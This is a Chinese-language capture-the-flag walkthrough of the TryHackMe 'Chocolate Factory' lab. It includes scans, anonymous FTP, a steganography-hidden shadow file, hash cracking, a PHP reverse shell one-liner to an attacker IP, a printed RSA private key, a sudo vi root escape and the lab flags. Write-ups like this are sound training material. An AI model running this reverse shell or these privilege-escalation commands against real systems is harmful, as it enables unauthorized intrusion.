服务发现
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# nmap -sV -Pn 10.10.164.40 -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 22:47 EDT
Nmap scan report for 10.10.164.40
Host is up (0.31s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
100/tcp open newacct?
101/tcp open hostname?
102/tcp open iso-tsap?
103/tcp open gppitnp?
104/tcp open acr-nema?
105/tcp open csnet-ns?
106/tcp open pop3pw?
107/tcp open rtelnet?
108/tcp open snagas?
109/tcp open pop2?
110/tcp open pop3?
111/tcp open rpcbind?
112/tcp open mcidas?
113/tcp open ident?
114/tcp open audionews?
115/tcp open sftp?
116/tcp open ansanotify?
117/tcp open uucp-path?
118/tcp open sqlserv?
119/tcp open nntp?
120/tcp open cfdptkt?
121/tcp open erpc?
122/tcp open smakynet?
123/tcp open ntp?
124/tcp open ansatrader?
125/tcp open locus-map?
9 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
目录爆破无发现
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -u http://10.10.164.40
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 220521
Error Log: /root/dirsearch/logs/errors-21-09-29_22-41-59.log
Target: http://10.10.164.40
[22:41:59] Starting:
[22:42:08] 200 - 1KB - /
[22:47:23] 403 - 277B - /server-status
Task Completed
ftp服务可以匿名登录，把里面的文件下载本地分析
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# ftp 10.10.164.40
Connected to 10.10.164.40.
220 (vsFTPd 3.0.3)
Name (10.10.164.40:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg
226 Directory send OK.
ftp> get gum_room.jpg
local: gum_room.jpg remote: gum_room.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for gum_room.jpg (208838 bytes).
226 Transfer complete.
208838 bytes received in 3.45 secs (59.0388 kB/s)
ftp>
用steghide分离jpg里的文件，得到一个b64.txt,其实就是base64的密文
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# steghide extract -sf gum_room.jpg
Enter passphrase:
wrote extracted data to "b64.txt".
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# ls
b64.txt gum_room.jpg
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# cat b64.txt
ZGFlbW9uOio6MTgzODA6MDo5OTk5OTo3Ojo6CmJpbjoqOjE4MzgwOjA6OTk5OTk6Nzo6OgpzeXM6
KjoxODM4MDowOjk5OTk5Ojc6OjoKc3luYzoqOjE4MzgwOjA6OTk5OTk6Nzo6OgpnYW1lczoqOjE4
MzgwOjA6OTk5OTk6Nzo6OgptYW46KjoxODM4MDowOjk5OTk5Ojc6OjoKbHA6KjoxODM4MDowOjk5
OTk5Ojc6OjoKbWFpbDoqOjE4MzgwOjA6OTk5OTk6Nzo6OgpuZXdzOio6MTgzODA6MDo5OTk5OTo3
Ojo6CnV1Y3A6KjoxODM4MDowOjk5OTk5Ojc6OjoKcHJveHk6KjoxODM4MDowOjk5OTk5Ojc6OjoK
d3d3LWRhdGE6KjoxODM4MDowOjk5OTk5Ojc6OjoKYmFja3VwOio6MTgzODA6MDo5OTk5OTo3Ojo6
Cmxpc3Q6KjoxODM4MDowOjk5OTk5Ojc6OjoKaXJjOio6MTgzODA6MDo5OTk5OTo3Ojo6CmduYXRz
Oio6MTgzODA6MDo5OTk5OTo3Ojo6Cm5vYm9keToqOjE4MzgwOjA6OTk5OTk6Nzo6OgpzeXN0ZW1k
LXRpbWVzeW5jOio6MTgzODA6MDo5OTk5OTo3Ojo6CnN5c3RlbWQtbmV0d29yazoqOjE4MzgwOjA6
OTk5OTk6Nzo6OgpzeXN0ZW1kLXJlc29sdmU6KjoxODM4MDowOjk5OTk5Ojc6OjoKX2FwdDoqOjE4
MzgwOjA6OTk5OTk6Nzo6OgpteXNxbDohOjE4MzgyOjA6OTk5OTk6Nzo6Ogp0c3M6KjoxODM4Mjow
Ojk5OTk5Ojc6OjoKc2hlbGxpbmFib3g6KjoxODM4MjowOjk5OTk5Ojc6OjoKc3Ryb25nc3dhbjoq
OjE4MzgyOjA6OTk5OTk6Nzo6OgpudHA6KjoxODM4MjowOjk5OTk5Ojc6OjoKbWVzc2FnZWJ1czoq
OjE4MzgyOjA6OTk5OTk6Nzo6OgphcnB3YXRjaDohOjE4MzgyOjA6OTk5OTk6Nzo6OgpEZWJpYW4t
ZXhpbTohOjE4MzgyOjA6OTk5OTk6Nzo6Ogp1dWlkZDoqOjE4MzgyOjA6OTk5OTk6Nzo6OgpkZWJp
YW4tdG9yOio6MTgzODI6MDo5OTk5OTo3Ojo6CnJlZHNvY2tzOiE6MTgzODI6MDo5OTk5OTo3Ojo6
CmZyZWVyYWQ6KjoxODM4MjowOjk5OTk5Ojc6OjoKaW9kaW5lOio6MTgzODI6MDo5OTk5OTo3Ojo6
CnRjcGR1bXA6KjoxODM4MjowOjk5OTk5Ojc6OjoKbWlyZWRvOio6MTgzODI6MDo5OTk5OTo3Ojo6
CmRuc21hc3E6KjoxODM4MjowOjk5OTk5Ojc6OjoKcmVkaXM6KjoxODM4MjowOjk5OTk5Ojc6OjoK
dXNibXV4Oio6MTgzODI6MDo5OTk5OTo3Ojo6CnJ0a2l0Oio6MTgzODI6MDo5OTk5OTo3Ojo6CnNz
aGQ6KjoxODM4MjowOjk5OTk5Ojc6OjoKcG9zdGdyZXM6KjoxODM4MjowOjk5OTk5Ojc6OjoKYXZh
aGk6KjoxODM4MjowOjk5OTk5Ojc6OjoKc3R1bm5lbDQ6IToxODM4MjowOjk5OTk5Ojc6OjoKc3Ns
aDohOjE4MzgyOjA6OTk5OTk6Nzo6OgpubS1vcGVudnBuOio6MTgzODI6MDo5OTk5OTo3Ojo6Cm5t
LW9wZW5jb25uZWN0Oio6MTgzODI6MDo5OTk5OTo3Ojo6CnB1bHNlOio6MTgzODI6MDo5OTk5OTo3
Ojo6CnNhbmVkOio6MTgzODI6MDo5OTk5OTo3Ojo6CmluZXRzaW06KjoxODM4MjowOjk5OTk5Ojc6
OjoKY29sb3JkOio6MTgzODI6MDo5OTk5OTo3Ojo6CmkycHN2YzoqOjE4MzgyOjA6OTk5OTk6Nzo6
OgpkcmFkaXM6KjoxODM4MjowOjk5OTk5Ojc6OjoKYmVlZi14c3M6KjoxODM4MjowOjk5OTk5Ojc6
OjoKZ2VvY2x1ZToqOjE4MzgyOjA6OTk5OTk6Nzo6OgpsaWdodGRtOio6MTgzODI6MDo5OTk5OTo3
Ojo6CmtpbmctcGhpc2hlcjoqOjE4MzgyOjA6OTk5OTk6Nzo6OgpzeXN0ZW1kLWNvcmVkdW1wOiEh
OjE4Mzk2Ojo6Ojo6Cl9ycGM6KjoxODQ1MTowOjk5OTk5Ojc6OjoKc3RhdGQ6KjoxODQ1MTowOjk5
OTk5Ojc6OjoKX2d2bToqOjE4NDk2OjA6OTk5OTk6Nzo6OgpjaGFybGllOiQ2JENaSm5DUGVRV3A5
L2pwTngka2hHbEZkSUNKbnI4UjNKQy9qVFIycjdEcmJGTHA4enE4NDY5ZDNjMC56dUtONHNlNjFG
T2J3V0d4Y0hacU8yUkpIa2tMMWpqUFllZUd5SUpXRTgyWC86MTg1MzU6MDo5OTk5OTo3Ojo6Cg==
解密出来是：
daemon:*:18380:0:99999:7:::
bin:*:18380:0:99999:7:::
sys:*:18380:0:99999:7:::
sync:*:18380:0:99999:7:::
games:*:18380:0:99999:7:::
man:*:18380:0:99999:7:::
lp:*:18380:0:99999:7:::
mail:*:18380:0:99999:7:::
news:*:18380:0:99999:7:::
uucp:*:18380:0:99999:7:::
proxy:*:18380:0:99999:7:::
www-data:*:18380:0:99999:7:::
backup:*:18380:0:99999:7:::
list:*:18380:0:99999:7:::
irc:*:18380:0:99999:7:::
gnats:*:18380:0:99999:7:::
nobody:*:18380:0:99999:7:::
systemd-timesync:*:18380:0:99999:7:::
systemd-network:*:18380:0:99999:7:::
systemd-resolve:*:18380:0:99999:7:::
_apt:*:18380:0:99999:7:::
mysql:!:18382:0:99999:7:::
tss:*:18382:0:99999:7:::
shellinabox:*:18382:0:99999:7:::
strongswan:*:18382:0:99999:7:::
ntp:*:18382:0:99999:7:::
messagebus:*:18382:0:99999:7:::
arpwatch:!:18382:0:99999:7:::
Debian-exim:!:18382:0:99999:7:::
uuidd:*:18382:0:99999:7:::
debian-tor:*:18382:0:99999:7:::
redsocks:!:18382:0:99999:7:::
freerad:*:18382:0:99999:7:::
iodine:*:18382:0:99999:7:::
tcpdump:*:18382:0:99999:7:::
miredo:*:18382:0:99999:7:::
dnsmasq:*:18382:0:99999:7:::
redis:*:18382:0:99999:7:::
usbmux:*:18382:0:99999:7:::
rtkit:*:18382:0:99999:7:::
sshd:*:18382:0:99999:7:::
postgres:*:18382:0:99999:7:::
avahi:*:18382:0:99999:7:::
stunnel4:!:18382:0:99999:7:::
sslh:!:18382:0:99999:7:::
nm-openvpn:*:18382:0:99999:7:::
nm-openconnect:*:18382:0:99999:7:::
pulse:*:18382:0:99999:7:::
saned:*:18382:0:99999:7:::
inetsim:*:18382:0:99999:7:::
colord:*:18382:0:99999:7:::
i2psvc:*:18382:0:99999:7:::
dradis:*:18382:0:99999:7:::
beef-xss:*:18382:0:99999:7:::
geoclue:*:18382:0:99999:7:::
lightdm:*:18382:0:99999:7:::
king-phisher:*:18382:0:99999:7:::
systemd-coredump:!!:18396::::::
_rpc:*:18451:0:99999:7:::
statd:*:18451:0:99999:7:::
_gvm:*:18496:0:99999:7:::
charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::
看上去是/etc/shadow里的文件内容
把charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/保存到hash.txt
用john去破解
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cn7824 (charlie)
1g 0:00:12:04 DONE (2021-09-29 23:29) 0.001379g/s 1358p/s 1358c/s 1358C/s cocker6..cn123
Use the "--show" option to display all of the cracked passwords reliably
Session completed
获得凭证charlie:cn7824
以为是ssh密码，但其实不是。
打开http://10.10.164.40/，是一个登陆页面，用上面的凭证登录，会重定向到home.php
此页面有一个命令行输入框，可以执行linux命令
也就是从这里我们可以获得一个反弹shell
使用下面payload获得反弹shell
php -r '$sock=fsockopen("10.13.21.169",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
在charlie家目录拿到id_rsa
$ cat user.txt
cat: user.txt: Permission denied
$ ls -alh
total 40K
drwxr-xr-x 5 charlie charley 4.0K Oct 7 2020 .
drwxr-xr-x 3 root root 4.0K Oct 1 2020 ..
-rw-r--r-- 1 charlie charley 3.7K Apr 4 2018 .bashrc
drwx------ 2 charlie charley 4.0K Sep 1 2020 .cache
drwx------ 3 charlie charley 4.0K Sep 1 2020 .gnupg
drwxrwxr-x 3 charlie charley 4.0K Sep 29 2020 .local
-rw-r--r-- 1 charlie charley 807 Apr 4 2018 .profile
-rw-r--r-- 1 charlie charley 1.7K Oct 6 2020 teleport
-rw-r--r-- 1 charlie charley 407 Oct 6 2020 teleport.pub
-rw-r----- 1 charlie charley 39 Oct 6 2020 user.txt
$ cat teleport
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4adrPc3Uh98RYDrZ8CUBDgWLENUybF60lMk9YQOBDR+gpuRW
1AzL12K35/Mi3Vwtp0NSwmlS7ha4y9sv2kPXv8lFOmLi1FV2hqlQPLw/unnEFwUb
L4KBqBemIDefV5pxMmCqqguJXIkzklAIXNYhfxLr8cBS/HJoh/7qmLqrDoXNhwYj
B3zgov7RUtk15Jv11D0Itsyr54pvYhCQgdoorU7l42EZJayIomHKon1jkofd1/oY
fOBwgz6JOlNH1jFJoyIZg2OmEhnSjUltZ9mSzmQyv3M4AORQo3ZeLb+zbnSJycEE
RaObPlb0dRy3KoN79lt+dh+jSg/dM/TYYe5L4wIDAQABAoIBAD2TzjQDYyfgu4Ej
Di32Kx+Ea7qgMy5XebfQYquCpUjLhK+GSBt9knKoQb9OHgmCCgNG3+Klkzfdg3g9
zAUn1kxDxFx2d6ex2rJMqdSpGkrsx5HwlsaUOoWATpkkFJt3TcSNlITquQVDe4tF
w8JxvJpMs445CWxSXCwgaCxdZCiF33C0CtVw6zvOdF6MoOimVZf36UkXI2FmdZFl
kR7MGsagAwRn1moCvQ7lNpYcqDDNf6jKnx5Sk83R5bVAAjV6ktZ9uEN8NItM/ppZ
j4PM6/IIPw2jQ8WzUoi/JG7aXJnBE4bm53qo2B4oVu3PihZ7tKkLZq3Oclrrkbn2
EY0ndcECgYEA/29MMD3FEYcMCy+KQfEU2h9manqQmRMDDaBHkajq20KvGvnT1U/T
RcbPNBaQMoSj6YrVhvgy3xtEdEHHBJO5qnq8TsLaSovQZxDifaGTaLaWgswc0biF
uAKE2uKcpVCTSewbJyNewwTljhV9mMyn/piAtRlGXkzeyZ9/muZdtesCgYEA4idA
KuEj2FE7M+MM/+ZeiZvLjKSNbiYYUPuDcsoWYxQCp0q8HmtjyAQizKo6DlXIPCCQ
RZSvmU1T3nk9MoTgDjkNO1xxbF2N7ihnBkHjOffod+zkNQbvzIDa4Q2owpeHZL19
znQV98mrRaYDb5YsaEj0YoKfb8xhZJPyEb+v6+kCgYAZwE+vAVsvtCyrqARJN5PB
la7Oh0Kym+8P3Zu5fI0Iw8VBc/Q+KgkDnNJgzvGElkisD7oNHFKMmYQiMEtvE7GB
FVSMoCo/n67H5TTgM3zX7qhn0UoKfo7EiUR5iKUAKYpfxnTKUk+IW6ME2vfJgsBg
82DuYPjuItPHAdRselLyNwKBgH77Rv5Ml9HYGoPR0vTEpwRhI/N+WaMlZLXj4zTK
37MWAz9nqSTza31dRSTh1+NAq0OHjTpkeAx97L+YF5KMJToXMqTIDS+pgA3fRamv
ySQ9XJwpuSFFGdQb7co73ywT5QPdmgwYBlWxOKfMxVUcXybW/9FoQpmFipHsuBjb
Jq4xAoGBAIQnMPLpKqBk/ZV+HXmdJYSrf2MACWwL4pQO9bQUeta0rZA6iQwvLrkM
Qxg3lN2/1dnebKK5lEd2qFP1WLQUJqypo5TznXQ7tv0Uuw7o0cy5XNMFVwn/BqQm
G2QwOAGbsQHcI0P19XgHTOB7Dm69rP9j1wIRBOF7iGfwhWdi+vln
-----END RSA PRIVATE KEY-----
把私钥保存成一个id_rsa文件，使用ssh登录charlie的账号，拿到user.txt
┌──(root💀kali)-[~/tryhackme/ChocolateFactory]
└─# ssh -i id_rsa charlie@10.10.164.40
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-115-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Sep 30 03:56:19 UTC 2021
System load: 0.08 Processes: 1206
Usage of /: 44.0% of 8.79GB Users logged in: 0
Memory usage: 49% IP address for eth0: 10.10.164.40
Swap usage: 0%
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Oct 7 16:10:44 2020 from 10.0.2.5
Could not chdir to home directory /home/charley: No such file or directory
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
charlie@chocolate-factory:/$ cat /home/charlie/user.txt
flag{cd5509042371b34e4826e4838b522d2e}
查看sudo -l，发现可以无密码使用vi命令
charlie@chocolate-factory:/$ sudo -l
Matching Defaults entries for charlie on chocolate-factory:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User charlie may run the following commands on chocolate-factory:
(ALL : !root) NOPASSWD: /usr/bin/vi
用sudo vi -c ':!/bin/sh' /dev/null提权到root
charlie@chocolate-factory:/$ sudo vi -c ':!/bin/sh' /dev/null
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
cat: /root/root.txt: No such file or directory
但是root flag藏在一个叫root.py的文件里，源码如下
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key: ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)
这个脚本执行需要输入一个key，这个key我估计就是第一个问题里的答案
到处找，在/var/www/html里找到一个key_rev_key的文件，目录爆破的时候居然没有爆出来。下载到本地分析
用head查看文件头
└─# head key_rev_key
ELF>�@�@8 @@@@�888�
�
hh/lib64/ld-linux-x86-64.so.2GNUGNU�s�ŗ5d�
tz�~������ ▒0MF�
� � � � � � 7"libc.so.6__isoc99_scanfputs__stack_chk_failprintf__cxa_finalizestrcmp__libc_start_mainGLIBC_2.7GLIBC_2.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableii
]��f.�]�@f.�H�= H�5 UH)�H��H��H��H��?H�H��t▒H� H��t�����%b h������%Z h������%R h������%J h������%b f�1�I��^H��H���PTL�*H�
]��f�]�@f.��= u/H�= UH��t
����H���� ]����fDUH��]�f���UH��H��@�}�H�u�dH�%(H�E�1�H�=)������H�E�H��H�=#������H�E�H�5H���l�����u5H�= s
congratulations you have found the key: b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
Keep its safeBad name!8����������
���T���������L���,zRx
����+zRx
$���`F▒J
� �?▒;*3$"DH��\J����A�C
留意有一行字：congratulations you have found the key: b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
所以key是：b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
拿到root flag
# python root.py
Enter the key: b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
__ __ _ _ _ _____ _
\ \ / /__ _ _ / \ _ __ ___ | \ | | _____ __ |_ _| |__ ___
\ V / _ \| | | | / _ \ | '__/ _ \ | \| |/ _ \ \ /\ / / | | | '_ \ / _ \
| | (_) | |_| | / ___ \| | | __/ | |\ | (_) \ V V / | | | | | | __/
|_|\___/ \__,_| /_/ \_\_| \___| |_| \_|\___/ \_/\_/ |_| |_| |_|\___|
___ ___ __
/ _ \__ ___ __ ___ _ __ / _ \ / _|
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_
| |_| |\ V V /| | | | __/ | | |_| | _|
\___/ \_/\_/ |_| |_|\___|_| \___/|_|
____ _ _ _
/ ___| |__ ___ ___ ___ | | __ _| |_ ___
| | | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | || __/
\____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
_____ _
| ___|_ _ ___| |_ ___ _ __ _ _
| |_ / _` |/ __| __/ _ \| '__| | | |
| _| (_| | (__| || (_) | | | |_| |
|_| \__,_|\___|\__\___/|_| \__, |
|___/
flag{cec59161d338fef787fcb4e296b42124}
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